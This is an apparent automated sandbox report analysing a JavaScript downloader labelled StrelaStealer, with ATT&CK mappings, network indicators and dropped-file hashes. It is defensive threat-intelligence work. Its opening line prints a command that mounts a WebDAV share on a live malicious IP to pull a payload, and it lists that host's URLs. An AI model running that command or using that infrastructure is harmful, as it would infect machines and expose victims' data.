Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
4702309321830413443.js	10%	Virustotal		Browse
4702309321830413443.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/x1	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/B	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2589317804.0000022818C8D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1360064411.000001CE42F9F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1360064411.000001CE42F84000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1360064411.000001CE42F48000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/x1	net.exe, 00000007.00000002.1360064411.000001CE42F48000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/B	net.exe, 00000007.00000002.1360064411.000001CE42F48000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1368952175.0000022818AB0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588542
Start date and time:	2025-01-11 02:12:40 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	4702309321830413443.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 2.23.242.162, 2.23.197.184, 184.28.90.27, 199.232.214.172, 2.16.168.107, 2.16.168.105, 23.200.0.173, 23.200.0.176, 23.200.0.209, 23.200.0.177, 23.200.0.196, 13.107.246.45, 54.224.241.105, 52.149.20.212, 104.126.112.182, 20.109.210.53
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:13:36	API Interceptor	19x Sleep call for process: powershell.exe modified
20:13:39	API Interceptor	1x Sleep call for process: net.exe modified
20:13:39	API Interceptor	2x Sleep call for process: svchost.exe modified
20:13:47	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	193581927228935729.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1327128311804210730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6515707756641447.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16433207582849010802.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	6515707756641447.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	795324045931728678.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2314572873239327086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3048426634198639173.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	193581927228935729.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1627923942308705884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1183413479481820270.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19500684172643252.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807568423690723
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9P:0J7adfWuK0p/QDfKoPeuP0aN4fqoxo
MD5:	A85DFCB997EB64686091893D3E76FD1C
SHA1:	36C185BF22CFE28C1E307FF95193BB8FFC0CD7EC
SHA-256:	69E819B27AFDC8589F4ACE71D21D53A558212BC80371F53C3EC891C3F793F5D3
SHA-512:	680EEE691B4D7E6691DC44AEDD45B57A7417FC0BD73275E3D30659BF1799F473C091653D384EF78B52CC32AAB57FBDD9595F4331A8E6EC6FD8D8E5B02F902B38
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x0f4f19b9, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880329812902122
Encrypted:	false
SSDEEP:	1536:3SB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:3azaPv4V4fXq2UaB
MD5:	EFD1A94752D10393E8BD3BCEEEB9B822
SHA1:	BC99FFC750D24F4A21A8B2185147077DA3524120
SHA-256:	875BFE05E7FED176082860301305A564E1913B685C3280BAFD8087449C10E8EE
SHA-512:	D58BDB15ED7D58E0A26CC688FB58DAF1CB9AC3C45483710F27EEBE476A8A05E7EFACDE342FC04BB92CF166F68682CEA4FF7766D4F44A6BFED36FA2129ED53E2C
Malicious:	false
Preview:	.O..... ...............X\...;...{......................X............{..(....}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{......................................(....}.8...................(....}...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08119588395096447
Encrypted:	false
SSDEEP:	3:9lKYe6+E/9XlVG0+q2Iqe8lIc+Ev/allNTt/4ll/Q6beV/:HKz18GE8lIc+sGHtc6V
MD5:	95B27DA45C8406CB8AEC07BCAFFB83F9
SHA1:	FF3ADC28F3D3C21F44AD24B896092CB17B082049
SHA-256:	2530CDCB48761AF4D06351C36939F30900BF19B2B0C04B70C5C2082DF3A403E4
SHA-512:	D6C7780F18133BE26DD8290199BFDCDC100A27F73EDE8FA3F2AC0419E22E76C79836FCEF1DB09BF26A7CE2FFD5576B3B7554DD80ED70A1BD1E6A1E9B44F42186
Malicious:	false
Preview:	...(.....................................;...{..(....}.......{...............{.......{....:......{....................(....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.208376696177236
Encrypted:	false
SSDEEP:	6:iO4qV/5uDUFL+q2PFi2nKuAl9OmbnIFUtSqV/C1ZmwsqV/ULVkwOFi2nKuAl9Omt:7n/JyvdZHAahFUtZ/U/L/UR5wZHAaSJ
MD5:	A17C32AC55CE116E9BB0C51AB3EF1695
SHA1:	7EA1EF18CBD31532BA77FE070FC24832C703999C
SHA-256:	B09226D56FFE4C14F4717A21B5FFB53A8BF8B414D62E2EA07554BE286DD304E4
SHA-512:	8C5EC8A2CC9F8FC3053CE5424D52CDB10CA1241CC82D3DCDE6444B328F5EA812EE7F1A4B65C5BA656B4804B5EA21040EC3310741691D080E12390447263B4C19
Malicious:	false
Preview:	2025/01/10-20:13:39.682 1f18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:13:39.685 1f18 Recovering log #3.2025/01/10-20:13:39.685 1f18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.208376696177236
Encrypted:	false
SSDEEP:	6:iO4qV/5uDUFL+q2PFi2nKuAl9OmbnIFUtSqV/C1ZmwsqV/ULVkwOFi2nKuAl9Omt:7n/JyvdZHAahFUtZ/U/L/UR5wZHAaSJ
MD5:	A17C32AC55CE116E9BB0C51AB3EF1695
SHA1:	7EA1EF18CBD31532BA77FE070FC24832C703999C
SHA-256:	B09226D56FFE4C14F4717A21B5FFB53A8BF8B414D62E2EA07554BE286DD304E4
SHA-512:	8C5EC8A2CC9F8FC3053CE5424D52CDB10CA1241CC82D3DCDE6444B328F5EA812EE7F1A4B65C5BA656B4804B5EA21040EC3310741691D080E12390447263B4C19
Malicious:	false
Preview:	2025/01/10-20:13:39.682 1f18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:13:39.685 1f18 Recovering log #3.2025/01/10-20:13:39.685 1f18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.138420771697293
Encrypted:	false
SSDEEP:	6:iO4qV/G+q2PFi2nKuAl9Ombzo2jMGIFUtSqV/wZmwsqV/gVkwOFi2nKuAl9Ombzz:7n/HvdZHAa8uFUtZ/w/L/45wZHAa8RJ
MD5:	47C78107281C2CFE4DA446E86AF36121
SHA1:	E92933FCADB1B188EDCC9E7F3889F4DA3C993CE5
SHA-256:	8F0EA5939309A9ABE33A08799FE1CFD7EB0979B0C8ECB5C5503D7F3D7B068FD6
SHA-512:	70D7764293A819432E5ED46DED36055526033BB4573D3E3ECB80CB7DF8B227C94B4B66080080D2659A689D3614A56B717137D8CC365004B15337867D59F933B0
Malicious:	false
Preview:	2025/01/10-20:13:39.801 1fe8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:13:39.803 1fe8 Recovering log #3.2025/01/10-20:13:39.803 1fe8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.138420771697293
Encrypted:	false
SSDEEP:	6:iO4qV/G+q2PFi2nKuAl9Ombzo2jMGIFUtSqV/wZmwsqV/gVkwOFi2nKuAl9Ombzz:7n/HvdZHAa8uFUtZ/w/L/45wZHAa8RJ
MD5:	47C78107281C2CFE4DA446E86AF36121
SHA1:	E92933FCADB1B188EDCC9E7F3889F4DA3C993CE5
SHA-256:	8F0EA5939309A9ABE33A08799FE1CFD7EB0979B0C8ECB5C5503D7F3D7B068FD6
SHA-512:	70D7764293A819432E5ED46DED36055526033BB4573D3E3ECB80CB7DF8B227C94B4B66080080D2659A689D3614A56B717137D8CC365004B15337867D59F933B0
Malicious:	false
Preview:	2025/01/10-20:13:39.801 1fe8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:13:39.803 1fe8 Recovering log #3.2025/01/10-20:13:39.803 1fe8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.95703008889775
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqU0hsBdOg2Hccaq3QYiubpP7E4T3y:Y2sRdsEydMHf3QYhbd7nby
MD5:	2A62E1D566749C59D875BE1C955CD2A6
SHA1:	5F4673E9FB293FD28220859A2AF12AC3193706BA
SHA-256:	F4B4886700B4CADD185FE43CF53AF320A805BD28547D4FF581F79852FC97298A
SHA-512:	DBB1227720C458FFDAA6429D093B8F5AF3D9B0F08E421B9EC03629D0453CF2BE0AD9CDE743C0E62CC5F2A8A3176798B0674BDC8FC52B71C741A59481BA5FC817
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118031474426","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123488},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ee44c721-9003-450f-ae84-a92972456f27.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.95703008889775
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqU0hsBdOg2Hccaq3QYiubpP7E4T3y:Y2sRdsEydMHf3QYhbd7nby
MD5:	2A62E1D566749C59D875BE1C955CD2A6
SHA1:	5F4673E9FB293FD28220859A2AF12AC3193706BA
SHA-256:	F4B4886700B4CADD185FE43CF53AF320A805BD28547D4FF581F79852FC97298A
SHA-512:	DBB1227720C458FFDAA6429D093B8F5AF3D9B0F08E421B9EC03629D0453CF2BE0AD9CDE743C0E62CC5F2A8A3176798B0674BDC8FC52B71C741A59481BA5FC817
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118031474426","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123488},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.232767071601519
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEV+iczPQ:wshFT0h7cZb2EVKZPEANcGIK5EV+iqPQ
MD5:	2BB2D7209CD8D548DF4FD071D0CBA892
SHA1:	CED9123B3E8AE7B9229750071D40C7306F650CC3
SHA-256:	761286DFF9D67E814BD7B10089CE6DDC5DC93FB354E84C80079B9BCB56DB508B
SHA-512:	B490B3AEDE22734C7AF3868D9B7E74F1E9CBE644EB7B8C640C52D5E2924769867DA7410080D48BD37A8FA49746FA6F0ED12520E2953197844568CF3175201F79
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.180560302924732
Encrypted:	false
SSDEEP:	6:iO4qV/zLN+q2PFi2nKuAl9OmbzNMxIFUtSqV/zLt5ZmwsqV/zLLUVkwOFi2nKuAo:7n/nIvdZHAa8jFUtZ/nv/L/nI5wZHAab
MD5:	937D69F87B30034108D24EE1856F8DB3
SHA1:	223A7FD38BC71E8667EE0992BD1420B2C5D8272E
SHA-256:	AE351D0AC001AE958BFB0FFB1A7BDAB3A2F48CF7E6809F5287895E560E4959ED
SHA-512:	EBBEB12BA22A1D826B8B3328B622F6CB7332DEDFA6A13B37E61CBA24EC6AE4E060F2F49954387F9956085DC5DCCD42C1B59BE9F48CB447D21EFF5A09B6739625
Malicious:	false
Preview:	2025/01/10-20:13:40.592 1fe8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:13:40.608 1fe8 Recovering log #3.2025/01/10-20:13:40.616 1fe8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.180560302924732
Encrypted:	false
SSDEEP:	6:iO4qV/zLN+q2PFi2nKuAl9OmbzNMxIFUtSqV/zLt5ZmwsqV/zLLUVkwOFi2nKuAo:7n/nIvdZHAa8jFUtZ/nv/L/nI5wZHAab
MD5:	937D69F87B30034108D24EE1856F8DB3
SHA1:	223A7FD38BC71E8667EE0992BD1420B2C5D8272E
SHA-256:	AE351D0AC001AE958BFB0FFB1A7BDAB3A2F48CF7E6809F5287895E560E4959ED
SHA-512:	EBBEB12BA22A1D826B8B3328B622F6CB7332DEDFA6A13B37E61CBA24EC6AE4E060F2F49954387F9956085DC5DCCD42C1B59BE9F48CB447D21EFF5A09B6739625
Malicious:	false
Preview:	2025/01/10-20:13:40.592 1fe8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:13:40.608 1fe8 Recovering log #3.2025/01/10-20:13:40.616 1fe8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438581667099738
Encrypted:	false
SSDEEP:	384:Ceoci5GxiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:v9urVgazUpUTTGt
MD5:	8DB2F0719EA3EFBC9330347767407331
SHA1:	735AEB39CC6F8C3CAF408A608E0EA0B919F32987
SHA-256:	5C9C6B355D72A338F2C23BFA220832CEADAFB426FD8AEC8D66D2267AB2C1099E
SHA-512:	C161870946E6B8633BFA5355E3FA2755D02AD8FB9D5CE751F2D9FD93CEE03944CF5E3F4E145F03A1A4B85F56DC559B1E12599F34C21406ED879544F419ABDAC5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.21442512506884
Encrypted:	false
SSDEEP:	24:7+txG6wKqcWqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf94:7MoWGq/mFTIF3XmHjBoGGR+jMz+Lhq
MD5:	9AF786D86F17BED444146C3DE41715A0
SHA1:	D288619F5FEA6860ABA124289B272A612F49CC6B
SHA-256:	3B7C6D88C2CFA1A0218F5BE348FF3009AE40B210A8702A9B09B41C8B463B2BD3
SHA-512:	2464943860E9F50AD87BF5279A24C260E3A7DD2B22D44FD2A0C9E1E38C91CDCBB84A77678CE9748B73AEAE9DFD44B6343670BCE6579D176C47ACC4A8A6E560F8
Malicious:	false
Preview:	.... .c.......^.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
